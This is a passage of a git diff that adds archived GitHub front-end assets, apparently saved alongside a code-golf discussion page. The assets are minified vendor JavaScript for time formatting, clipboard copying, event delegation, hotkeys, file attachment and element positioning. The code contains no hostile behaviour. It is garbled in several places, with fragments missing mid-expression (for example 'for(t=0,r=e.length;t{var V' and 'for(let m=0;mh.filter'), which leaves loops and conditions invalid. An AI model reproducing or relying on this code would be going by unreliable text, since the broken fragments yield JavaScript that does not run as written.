e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const 